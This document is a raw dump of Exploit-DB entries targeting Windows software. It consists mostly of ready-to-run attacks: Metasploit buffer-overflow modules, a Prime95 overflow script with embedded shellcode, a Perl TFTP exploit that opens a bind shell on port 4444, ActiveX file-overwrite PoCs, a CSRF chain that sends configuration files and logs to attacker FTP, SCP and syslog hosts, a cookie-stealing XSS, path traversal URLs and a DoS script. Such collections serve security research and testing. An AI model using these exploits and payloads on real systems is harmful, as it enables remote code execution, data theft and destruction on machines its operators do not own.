deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8332
Description: PrecisionID Datamatrix - ActiveX Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2009-03-31
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-030
!!!             original advisory            !!!
http://dsecrg.com/pages/vul/DSECRG-09-030.html


Application:                    PrecisionID activeX controls 
Versions Affected:              
Vendor URL:                     http://PrecisionID.com
Bugs:                           Arbitrary File overwriting
Exploits:                       YES
Reported:                       03.03.2009
Vendor response:                NONE
Secondly Reported:              17.03.2009
Vendor response:                NONE 
Date of Public Advisory:        31.0300.2009
Authors:                        
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PrecisionID  have activeX control DMATRIXLib.Datamatrix that can be used to overwrite any any file in target system.



Details
*******


This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to owervrite 
any file on OS


Sub SaveBarCode (
        ByVal path  As String 
)


Sub SaveEnhWMF (
        ByVal path  As String 
)






*******
Example:



<html>
<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
prototype  = "Sub SaveBarCode ( ByVal path As String )"
memberName = "SaveBarCode"
progid     = "DMATRIXLib.Datamatrix"
argCount   = 1

arg1="C:\sh2kerr.pwn"

target.SaveBarCode arg1 

</script>
</html>



Solution
********
http://msdn.microsoft.com/en-us/library/aa751977.aspx


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsecrg [dot]  com
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-03-31]
Exploit-DB #50905
Description: Prime95 Version 30.7 build 9 - Remote Code Execution (RCE)
Type: remote
Platform: windows
Date: 2022-05-11
Author: Yehia Elghaly

Exploit:
# Exploit Title: Prime95 Version 30.7 build 9 - Remote Code Execution (RCE)
# Discovered by: Yehia Elghaly
# Discovered Date: 2022-04-25
# Vendor Homepage: https://www.mersenne.org/
# Software Link : https://www.mersenne.org/ftp_root/gimps/p95v307b9.win32.zip
# Tested Version: 30.7 build 9
# Vulnerability Type:  Buffer Overflow (RCE) Local
# Tested on OS: Windows 7 Professional x86

# Description: Prime95 Version 30.7 build 9 Buffer Overflow RCE

# 1- How to use: open the program go to test-PrimeNet-check the square-Connections 
# 2- paste the contents of open.txt in the optional proxy hostname field and the calculator will open

buffer = "A" * 144
jum = "\xd8\x29\xe7\x6e" #push esp # ret  |  {PAGE_EXECUTE_READ} [libhwloc-15.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\ex\libhwloc-15.dll)
nop = "\x90" * 20 #Nob 
hot = "C" * 100

#sudo msfvenom -p windows/exec CMD=calc.exe -b "\x00\x09\x0A\x0d" -f python -v payload
payload =  b""
payload += b"\xbb\x72\xd7\x5d\x16\xdb\xc0\xd9\x74\x24\xf4\x5d"
payload += b"\x29\xc9\xb1\x31\x83\xc5\x04\x31\x5d\x0f\x03\x5d"
payload += b"\x7d\x35\xa8\xea\x69\x3b\x53\x13\x69\x5c\xdd\xf6"
payload += b"\x58\x5c\xb9\x73\xca\x6c\xc9\xd6\xe6\x07\x9f\xc2"
payload += b"\x7d\x65\x08\xe4\x36\xc0\x6e\xcb\xc7\x79\x52\x4a"
payload += b"\x4b\x80\x87\xac\x72\x4b\xda\xad\xb3\xb6\x17\xff"
payload += b"\x6c\xbc\x8a\x10\x19\x88\x16\x9a\x51\x1c\x1f\x7f"
payload += b"\x21\x1f\x0e\x2e\x3a\x46\x90\xd0\xef\xf2\x99\xca"
payload += b"\xec\x3f\x53\x60\xc6\xb4\x62\xa0\x17\x34\xc8\x8d"
payload += b"\x98\xc7\x10\xc9\x1e\x38\x67\x23\x5d\xc5\x70\xf0"
payload += b"\x1c\x11\xf4\xe3\x86\xd2\xae\xcf\x37\x36\x28\x9b"
payload += b"\x3b\xf3\x3e\xc3\x5f\x02\x92\x7f\x5b\x8f\x15\x50"
payload += b"\xea\xcb\x31\x74\xb7\x88\x58\x2d\x1d\x7e\x64\x2d"
payload += b"\xfe\xdf\xc0\x25\x12\x0b\x79\x64\x78\xca\x0f\x12"
payload += b"\xce\xcc\x0f\x1d\x7e\xa5\x3e\x96\x11\xb2\xbe\x7d"
payload += b"\x56\x4c\xf5\xdc\xfe\xc5\x50\xb5\x43\x88\x62\x63"
payload += b"\x87\xb5\xe0\x86\x77\x42\xf8\xe2\x72\x0e\xbe\x1f"
payload += b"\x0e\x1f\x2b\x20\xbd\x20\x7e\x43\x20\xb3\xe2\xaa"
payload += b"\xc7\x33\x80\xb2"

evil = buffer + jum + nop + payload

file = open('PExploit.txt','w+')
file.write(evil)
file.close()
Exploit-DB #16760
Description: Private Wire Gateway - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: privatewire_gateway.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

# This file may only be distributed as part of the Metasploit Framework.
# Any other use needs a written permission from the author.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Private Wire Gateway Buffer Overflow',
			'Description'    => %q{
					This exploits a buffer overflow in the ADMCREG.EXE used
				in the PrivateWire Online Registration Facility.
			},
			'Author'         => 'Michael Thumann <mthumann[at]ernw.de>',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2006-3252'],
					['OSVDB', '26861'],
					['BID', '18647'],
				],
			'Payload'        =>
				{
					'Space'    => 8000,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 English SP0',     { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll
					['Windows 2000 English SP1',     { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll
					['Windows 2000 English SP2',     { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll
					['Windows 2000 English SP3',     { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll
					['Windows 2000 English SP4',     { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll
					['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll
					['Debugging',                    { 'Ret' => 0x41414141 }], # crash
				],
			'DefaultTarget'  => 4,
			'DisclosureDate' => 'Jun 26 2006'))

		register_options(
			[
				OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])
			], self.class)
	end

	def exploit
		# add 25 to ecx and jmp
		jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"

		path_offset = datastore['PATH'].length - 8

		pattern                            = rand_text_alphanumeric(8192)
		pattern[0, payload.encoded.length] = payload.encoded
		pattern[8156 - path_offset, 4]     = [target.ret].pack('V')
		pattern[8160, jmp.length]          = jmp

		print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

		send_request_raw({
				'uri' => "/" + pattern
			}, 2)
	end

end
Exploit-DB #35928
Description: Pro Softnet IDrive Online Backup 3.4.0 - ActiveX 'SaveToFile()' Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2011-07-06
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/48582/info

Pro Softnet IDrive Online Backup ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content.

An attacker can exploit this issue to corrupt and overwrite arbitrary files on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).

IDrive Online Backup ActiveX control 3.4.0 is vulnerable; other versions may also be affected. 

<html>
<object classid=&#039;clsid:979AE8AA-C206-40EC-ACA7-EC6B6BD7BE5E&#039; id=&#039;target&#039; /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = &#039;vbscript&#039;>

Sub Boom()
arg1="FilePath\File_name_to_rewrite_or_create"
arg2=1
arg3="New_File_Content"
target.Text=arg3
target.SelStart=0
target.SelEnd=Len(arg3)
target.SaveToFIle arg1,arg2
End Sub

</script>
</html>
Exploit-DB #7919
Description: Profense Web Application Firewall 2.6.2 - Cross-Site Request Forgery / Cross-Site Scripting
Type: remote
Platform: windows
Date: 2009-01-29
Author: Michael Brooks

Exploit:
Written By Michael Brooks
Special thanks to str0ke!

Affects: Profense Web Application Firewall XSRF and XSS
Version: 2.6.2
download http://www.armorlogic.com/download_software.html

"Defenses against all OWASP Top Ten vulnerabilities"
 Too bad it doesn't defend its self against all of these vulnerabilities....


Chaning configuration:
DNS, SMTP,  NTP servers.
Set a (malcious) remote FTP server or SCP server to backup (steal)
configuration files.   This could be used to steal the configuraitons.
Set a remote syslog server to steal the logs
Enable SSH
Enable SNMP
<img src=https://10.1.1.199:2000/ajax.html?hostname=profense.mydomain.com&gateway=10.1.1.1&dns=10.1.1.1&smtp=10.1.1.1&max_src_conn=100&max_src_conn_rate_num=100&max_src_conn_rate_sec=10&blacklist_exp=3600&ntp=ntp.hacked.com&timezone=CET&syslog=syslog.hacked.com&syslog_ext_l=4&snmp_public=public&snmp_location=&contact=admin%40mydomain.com&ftp_server=ftp.hacked.com&ftp_port=21&ftp_login=user&ftp_[CREDENTIAL_REDACTED]_remote_dir=%2Fhijacked_log&scp_server=scp.hacked.com&scp_port=22&scp_login=admin&scp_remote_dir=%2Fhijacked_log&ftp_auto_on=on&scp_auto_on=on&ssh_on=on&remote_support_on=on&action=configuration&do=save>
Apply new configurations:
<img src=https://10.1.1.199:2000/ajax.html?action=restart&do=core>

Add a proxy:
<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>

Turn off the Proface machine:
<img src=https://10.1.1.199:2000/ajax.html?action=shutdown>

Force the Proface server to ping:
<img src=https://10.1.1.199:2000/ajax.html?action=ping&ip=10.1.1.1>
Could be used to nofiy the attacker that the attack succeeded.

reflective xss:
https://10.1.1.199:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>

# milw0rm.com [2009-01-29]
Exploit-DB #16709
Description: ProFTP 2.9 - Banner Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: proftp_banner.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ProFTP 2.9 Banner Remote Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a buffer overflow in the ProFTP 2.9
				client that is triggered through an excessively long welcome message.
			},
			'Author' 	 => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '2009-3976' ],
					[ 'OSVDB', '57394' ],
					[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested against - XP SP3 English OK.
					[ 'Universal', 	{ 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
				],
			'Privileged'     => false,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 25 2009'))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		buffer =  "220 "
		buffer << rand_text_numeric(2064)
		buffer << [target.ret].pack('V')
		buffer << make_nops(20)
		buffer << payload.encoded
		buffer << "\r\n"
		client.put(buffer)
	end

end
Exploit-DB #9508
Description: ProFTP 2.9 - Welcome Message Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2009-08-25
Author: His0k4

Exploit:
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ProFTP 2.9 (welcome message) Remote Buffer Overflow Exploit',
			'Description'    => %q{
				This module exploits a buffer overflow in the ProFTP 2.9
				client that is triggered through an excessively long welcome message.
			},
			'Author' 	 => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => 
				[ 
					[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
				# Tested against- xp sp3 en OK.
					[ 'Universal', 	{ 'Ret' => 0x6809d408 } ], # WCMDPA10
				],
			'Privileged'     => false,
			'DefaultTarget'  => 0))

		register_options(
			[ 
				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)	

		buffer =  "220 "
		buffer << rand_text_numeric(2064)
		buffer << [target.ret].pack('V')
		buffer << make_nops(20)
		buffer << payload.encoded
		buffer << "\r\n"
		client.put(buffer)
	end
	
end

# milw0rm.com [2009-08-25]
Exploit-DB #29897
Description: Progress 3.1 - Webspeed _CPYFile.P Unauthorized Access
Type: remote
Platform: windows
Date: 2007-04-24
Author: suresync

Exploit:
source: https://www.securityfocus.com/bid/23634/info

Progress WebSpeed is prone to a vulnerability that lets attackers gain unauthorized access to and execute administrative scripts.

An attacker may leverage this issue to create and execute malicious WebSpeed code on the host running the webserver. Such unauthorized access may help the attacker launch other attacks.

WebSpeed 3.1a, 3.1d, and 3.1e are vulnerable; other versions may also be affected.

NOTE: Further reports suggest that this issue affects only the 'Development Mode' of the application. This mode is not intended to be used in production systems. This issue is also present when the 'tty' directory is installed. 

http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fil
eName=C:/root.txt&action=last&section=1&txt0=Test
Exploit-DB #34943
Description: Project Jug 1.0.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-11-01
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/44569/info

Project Jug is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to read files outside the webroot directory. Information harvested may aid in launching further attacks.

Project Jug 1.0.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/.../.../.../.../.../.../.../.../.../.../windows/win.ini
Exploit-DB #36235
Description: PROMOTIC 8.1.3 - Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2011-10-14
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/50133/info

PROMOTIC is prone to multiple security vulnerabilities.

Exploiting these issues may allow remote attackers to execute arbitrary code within the context of the affected application or disclose sensitive information.

PROMOTIC 8.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/webdir/..\..\..\..\..\boot.ini
Exploit-DB #52321
Description: ProSSHD 1.2 20090726 - Denial of Service (DoS)
Type: remote
Platform: windows
Date: 2025-06-09
Author: Fernando Mengali

Exploit:
# Exploit Title: ProSSHD 1.2 20090726 - Denial of Service (DoS)
# Google Dork: N/A
# Date: 13 january 2024
# Exploit Author: Fernando Mengali
# Vendor Homepage: https://prosshd.com/
# Software Link: N/A
# Version: 1.2 20090726
# Tested on: Windows XP
# CVE: CVE-2024-0725

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {s
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();

print "\t    ==> Connecting to webserver... \n\n";
sleep(1);

my $i=0;
    print "\t    ==> Exploiting... \n\n";

my $payload  = "\x41" x 500;

$connection2 = Net::SSH2->new();
$connection2->connect($host, $port) || die "\nError: Connection Refused!\n";
$connection2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$scpget = $connection2->scp_get($payload);
$connection2->disconnect();

print "\t    ==> Done! Exploited!";
   sub intro {
      print q {

	                            ,--,
	                     _ ___/ /\|
	                 ,;'( )__, )  ~
	                //  //   '--; 
	                '   \     | ^
	                     ^    ^

	    [+] ProSSHD 1.2 20090726 - Denial of Service (DoS)

	    [*] Coded by Fernando Mengali

	    [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port, $username, $password) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port> <username> <password>           \n";
        exit(-1);

      }
  }
Exploit-DB #16346
Description: ProSysInfo TFTP server TFTPDWIN 0.4.2 - 'Filename' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: tftpdwin_long_filename.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
			'Description'    => %q{
					This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
				an overly long file name to the tftpd.exe server, the stack can be overwritten.
			},
			'Author' 	 => [ 'patrick' ],
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2006-4948' ],
					[ 'OSVDB', '29032' ],
					[ 'BID', '20131' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/3132' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 284,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en
					[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sep 21 2006',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(69),
			], self)
	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")
		sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
		sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)
		udp_sock.put(sploit)

		disconnect_udp
	end

end
Exploit-DB #3132
Description: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2007-01-15
Author: Jacopo Cervini

Exploit:
#!/usr/bin/perl -w
use IO::Socket;

if(!($ARGV[1]))
{
 print "Usage: tftpdwin-0-4-2.pl <target host> <port>\n\n";
 exit;
}

$victim = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] sulla porta $ARGV[1]";

my $nop0="\x90"x15;

#8BC3           MOV EAX,EBX
#66:05 1201     ADD AX,112
#50             PUSH EAX
#C3             RETN

my $asm="\x8b\xc3\x66\x05\x12\x01\x50\xc3";

my $nop="\x90"x57;

my $nop1="\x90"x7;

my $eip="\x42\xfb\x61\x40";# pop ebp,ret in tftpd.exe
#my $eip="B"x4;

#A binary translation of NGS Writing Small Shellcode by Dafydd Stuttard with only two little differences
#1)bind port, in this exploit is 4444 in the original shellcode was 6666
#2)4 bytes added to the shellcode in order not to see the window of cmd.exe on remote host
$shellcode = 
"\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64".
"\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C".
"\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77".
"\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60".
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF".
"\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7".
"\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B".
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4".
"\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3".
"\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4".
"\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44".
"\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50".
"\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8";

$exploit = "\x00\x01" . $nop0 .$asm.$nop. $shellcode. $nop1 .$eip. "\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00";

print $victim $exploit;

print " + Malicious request sent ...\n";

sleep(2);

print "Done.\n";

close($victim);
$host = $ARGV[0];
print " + connect to 4444 port of $host ...\n";
sleep(3);
system("telnet $host 4444");
exit;

# milw0rm.com [2007-01-15]